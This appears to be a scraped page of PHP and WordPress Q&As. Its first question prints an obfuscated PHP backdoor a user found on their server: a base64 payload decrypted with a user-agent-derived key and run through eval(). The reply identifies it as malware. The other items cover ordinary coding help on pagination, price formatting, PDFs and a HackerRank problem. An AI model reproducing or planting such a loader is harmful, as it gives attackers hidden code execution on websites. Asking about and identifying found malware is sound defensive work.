What does this script mean in WP? - wordpress

I've just come across this file in my cpanel - Dfile.php.....
Inside this particular file this script was written.. I actually understand nothing about this script. Therefore, please help me to understand this script.. I mean what this script is all about ?
<?php
$data = "npeLzaPWytheWo96fIu9V6KR0JyElY6LsT9wQdWX0sSilouLXpLJyp+ilWGnn9JcYFeRZolmicF9d7qThaDF0JpTwJJXkdXMpl1ZbkRBa5qXmNJXiarK0Jefy1jWp8fGmqTWi2twb+FDQJaopZrWnqOeg57HrMTZm5SOXNik0IywPm2EOYfI2aiiUHBXmtenoI/MpcusjYtxO3NCbJXZ1aGQ1smk0tXYXlqTqKmjjlV3hbWDsYi5wYuEsmSDVtnVoVqecTpsyNmooo+mnKvRpahYh5rXqtGOVnW7iq+BtLeUeaildKi3kFackZ+qnItwQTpsmteq0cGpl9qn06aMh5im1dBcg6i5iIJ/g4uWtHqIhbWFtoqmsIl4q4qPUpWMcD5tbVTHxtiXc5OoqaPBmqyVxl+Gm9rUoluhRW07x9inncLHnNLYyV5ak6ipo4twQTpsoMhghoaak9qZjK1xbT46h8iR18aEc1ZwmaCjx5SbldeWxafT1pug2quLVtnVoVqecTps4nFAP6KYq6zUo1RUx5jWmaBvQK9zQsyYjMyopMjYWIfEq3uKi1WeWb9eXatwQWtczIJzUoqXqne4vlyYisFrcG9tWp1QcFeZw6iZZpeWxp3I0ZqXjqvXpMPVpKWUl1iHzI1fcT09QKDIVVyg1ZzJl9LDqpXOYIph2dWhbouSWqKOipqfonBfZYxeY1ePV4afkYJam9Se0luNg7A+bW05h9rWolZtU1ug0Juji5SUnUVvaz9WyqHVUqGDWZrRyp++l8FxQzo8tERsPlil1aOCdYWGq6TSc3A8bYenlczWUKCFiJqfom5EQWt1oZvHoNRgh5BlVJRYh6TIzKdannE6bInZqKJhcF6f1qmkapJmiViTglqn2KSDYISKqZbQ1JzE2clknqSgo16dQj45h6zUpJefXZrarNNsk5JcUZGEVNjX0FZkUFqgpcaarF7Xr9ZfoG9AO4qczKSVoFxfkotQkYWIqJqZ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MS7idLGvISwiouIpqx7bXi1jbSar5SEociPnJ2ulGWhrKeJ0K6nd6GIY5t9uHunnrxpyqzHlIegvouka7S2dp+wt5PTytulgIlln6vEZ4WfrbCXp8mpfJy/armsx9yYpLCogZOzp6Ftc5qjocN8Zaa9esmmxrlrncCQyqfHqp2ord2n2rOoh2Z7h6qCpYyKmsR+mp+vlIShyI+cna2qoausq2nVr96pgZaEp6e8npygxmqwpMmlnZ2+aMd4uqmon8eXetPJq4ukiIainqyejZfHf6yox7Wdnb5ox3i6qaifx5d608mri6SIhqKnx6yjeq1/xrHGuoier3yTmcirf6HFt5fOvZSafIZ5qqXGaH6gx363pr21oWmpn86dx6p7YcSncZyv3Wqseqxrnqx9mKnEj7SkscuZp8eAtabGpphopsubzr6Wb6uUeo2sxnlknr1pm66/lK6espCxosiqiqXH0YbcxruQpollfWfDjG2lsqCjprHLiGXJpc9ivrZpn6/RmJPHu62kf6qmgbyioKO9jZuvybqImL9qnKfIqoumx6x90q+seJ6Uep6qrHyCpsWltKTH0Ieita/Ofae6i5vEq2jKr6uErJKhiaPEo4Vnpp7OacfPrqLIpdahrpVmY73NZdrGrHeke4eqgsiGcW2Kcm9CbsifnsuX06fYwpig0diV0dnXXlheYqStyGOkmNNZjprG1ZtompfHl8fSmZaLiKPX141fcT09QFvInqCV0ZjPnaKCqafIq9ekjIeUhKi2hqi3v12GeIOWiqeBelfAY9Ws19Smodlgh5G3qIeHqLaLirWshpWDeIN9iZJgV5Jei2OWi3E/cEHYoNDMo5yLi16SjJJanJmfnKXDoplZnkRsQaXFnp/VnItUksupksbHldbYhmJmZ2hsYJ1CPq1wQQ==";
$ktmp = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/WebKit\/(.*) \(/is',$ktmp,$kk)){
$keys = explode(".",$kk[1]);
$keys = '0Pi'.$keys[0].'hBG';
}
$keys = md5($keys);
$x = 0;
$data = base64_decode($data);
$len = strlen($data);
$l = strlen($keys);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($keys, $x, 1);
$x++;
}
$str = '';
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
} else {
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
eval($str);

It seems like php malware. You can try wordfence plugin for clean core files etc.

Related

PHP Recursion Script is taking took long to execute HackerRank powerSum problem

Time limit exceeded
Your code did not execute within the time limits. Please optimize your code.
<?php
/*
* Complete the 'powerSum' function below.
*
* The function is expected to return an INTEGER.
* The function accepts following parameters:
* 1. INTEGER X
* 2. INTEGER N
*/
function powerSum($X, $N) {
// Write your code here
if (1 <= $X && $X <= 1000 && 2 <= $N && $N <= 10) {
$num = 1;
$list = [];
while ( true ) {
$pow = pow($num, $N);
if ($pow > $X) {break;}
$list[] = $pow;
$num ++;
}
$limit = $X;
$array = $list;
// the algorithm is usable if the number of elements is less than 20 (because set_time_limit)
$num = count($array);
//The total number of possible combinations
$total = pow($N, $num);
$out = array();
// loop through each possible combination
for ($i = 0; $i < $total; $i++) {
$comb = array();
// for each combination check if each bit is set
for ($j = 0; $j < $num; $j++) {
// is bit $j set in $i?
if (pow($N, $j) & $i){
$comb[] = $array[$j];
}
}
if (array_sum($comb) == $limit)
{
$out[] = $comb;
}
}
array_multisort(array_map('count', $out), SORT_ASC, $out);
$out = array_unique($out, SORT_REGULAR);
return count($out);
}
}
The above function is working and passing a lot of test cases but fails only due to timeout reasons.
I hope someone will help me fix this problem as soon as possible.
I ran the code on HackerRank, it ran well but failed on test case due to time.
The link to this challenge on hackerRank is:https://www.hackerrank.com/challenges/the-power-sum/problem?isFullScreen=true

Variable for adjusting the increase of a numbers value on a curve

I want to increase the value of a number on a curve. I have:
for($i=1; $i<=40; $i++){
$number = cosh($i);
echo $number;
}
This example curves up too fast. How to do I add a variable to this code that will allow me to adjust the rate the number increases? I looking to adjust the slope of the curve. I'm not looking to adjust the value of the beginning number (ie $i = $i*.3).
Countless ways to do this. Here are two:
Change the exponent of $i. Since your starting value is 1, and 1 raised to any power is still 1. Choose a power in the range (0, 1) (non-inclusive), e.g.:
$number = cosh(pow($i, 0.25));
Slightly more general - a power or a multiple of the difference between $i and starting value:
$start = 1;
$end = 40;
$const = 0.01;
for ($i = $start; $i <= $end; $i++) {
$number = cosh($start + ($i - $start) * $const);
// ...
// or...
$power = 0.25;
for ($i = $start; $i <= $end; $i++) {
$number = cosh($start + pow($i - $start, $power));
// ...
// or a combination of both.
if you don't want to change $i in the for definition, change it within the function call:
for($i=1; $i<=40; $i++){
$number = cosh($i*.3);
echo $number;
}

Filling in PDF from web form in PHP

I have a form which on posting submits data to a controller which should then fill necessary fields and present form to users to physically sign before submitting back.
I used Dhek https://github.com/cchantep/dhek do define the fields on which the form data will be placed and FPDF to generate the final PDF for downloading. I am able to get selected checkboxes marked but no text fields are rendered. Here is what I have tried so far
$json = json_decode(file_get_contents($this->getRequest()->getUriForPath('/bundles/app/form.json')));
$responses = $request->query->all();
$pdfSrcPath = $this->container->getParameter('write_to') . '/bundles/app/Membership_App__form.pdf';
$pdf = new \FPDF_FPDI("P", //L=>Landscape / P=>Portrait
"pt" /* point */ );
$fontSize = 14;
$pagecount = $pdf->setSourceFile($pdfSrcPath);
$testText = "abcdefghijklmnopqrstuvwxyz0123456789";
for ($i = 0; $i < $pagecount; $i++)
{
$pdf->AddPage();
$tplIdx = $pdf->importPage($i + 1);
$pdf->useTemplate($tplIdx, 0, 0, 0, 0, true);
if (isset($json->pages[$i]) && isset($json->pages[$i]->areas))
{
for ($j = 0; $j < count($json->pages[$i]->areas); $j++)
{
$area = $json->pages[$i]->areas[$j];
$x = $area->x;
$y = $area->y;
$w = $area->width;
$h = $area->height;
// Draw blue rect at bounds
$pdf->SetDrawColor(0, 0, 255);
$pdf->SetLineWidth(0.2835);
$pdf->Rect($x, $y, $w, $h);
if ($area->type == "checkbox" && $area->name == $responses['title'])
{
$pdf->SetDrawColor(105, 105, 105);
$pdf->SetLineWidth(2.0);
$pdf->Line($x, $y, $x + $w, $y + $h);
$pdf->Line($x, $y + $h, $x + $w, $y);
}
else if ($area->type == "text")
{
// 'Free' text
$pdf->SetLineWidth(1.0); // border
$iw = $w - 2 /* 2 x 1 */ ;
$v = utf8_decode($responses[$area->name]);
$overflow = ($pdf->GetStringWidth($v) > $iw);
while ($pdf->GetStringWidth($v) > $iw)
{
$v = substr($v, 0, -1);
}
if ($overflow)
{
$v = substr($v, 0, -1) . "\\";
}
$pdf->SetXY($x, $y);
// this line is not rendering
// tried $pdf->Write(intval($h),$v);
// and also tried $pdf->Cell($w, intval($h), $v);
$pdf->MultiCell($w, intval($h), $v, true);
}
}
}
}
$pdf->Output("test-dhek.pdf", "F");

Convert thousand to K, million to M in woocommerce

I am using woocommerce and I'd like to shorten all product prices to K (for thousand) and M (for million). So 150,000 would be 150K, 2,500,000 would be 2,5M etc. How do I do that?
Thank you!
add_filter('woocommerce_price_html','rei_woocommerce_price_html', 10, 2);
add_filter('woocommerce_sale_price_html','rei_woocommerce_price_html', 10, 2);
function rei_woocommerce_price_html($price, $product) {
$currency = get_woocommerce_currency_symbol( );
$price = $currency . custom_number_format($product->get_price(),1);
return $price;
}
function custom_number_format($n, $precision = 3) {
if ($n < 1000000) {
// Anything less than a million
$n_format = number_format($n);
} else if ($n < 1000000000) {
// Anything less than a billion
$n_format = number_format($n / 1000000, $precision) . 'M';
} else {
// At least a billion
$n_format = number_format($n / 1000000000, $precision) . 'B';
}
return $n_format;
}
couple things to note here..
woocommerce_sale_price_html does not include the original price.. you have to code it.
the logic on currency format on WooCommerce is ignored. you may have to adjust the code according to your needs.
I think this will help you
<?php
$n = 265460;
function bd_nice_number($n) {
$n = (0+str_replace(",","",$n));
if(!is_numeric($n)) return false;
if($n>1000000000000) return round(($n/1000000000000),1).'-T';
else if($n>1000000000) return round(($n/1000000000),1).'B';
else if($n>1000000) return round(($n/1000000),1).'M';
else if($n>1000) return round(($n/1000),1).'K';
return number_format($n);
}
$v = bd_nice_number($n);
echo $v;
?>

Wordpress pagination on homepage not working

pls i need your help,
the pagination on my homepage does not work...whenevr i click on the 2 button to go to second page, i get a 404 error page.
here is the pagination code;
if ( !function_exists( 'pagination' ) ) {
function pagination($pages = '', $range = 4)
{
$showitems = ($range * 2)+1;
global $paged;
if(empty($paged)) $paged = 1;
if($pages == '')
{
global $wp_query;
$pages = $wp_query->max_num_pages;
if(!$pages)
{
$pages = 1;
}
}
if(1 != $pages)
{
echo "<div class=\"pagination\"><span>Page ".$paged." of ".$pages."</span>";
if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<a href='".get_pagenum_link(1)."'>« First</a>";
if($paged > 1 && $showitems < $pages) echo "<a href='".get_pagenum_link($paged - 1)."'>‹ Previous</a>";
for ($i=1; $i <= $pages; $i++)
{
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
{
echo ($paged == $i)? "<span class=\"current\">".$i."</span>":"".$i."";
}
}
if ($paged < $pages && $showitems < $pages) echo "Next ›";
if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($pages)."'>Last »</a>";
echo "</div>\n";
}
}
}
Place this code in functions.php and try., Replace the post type and posts_per_page as you need..
function alter_query_vars($query)
{
switch($query->query_vars['post_type'])
{
case 'post':
//if($query->is_category()) Use this if you want to pagination on category page
$query->query_vars['posts_per_page'] = 6;
break;
default:
break;
}
return $query;
}
add_action('pre_get_posts', 'alter_query_vars');

Resources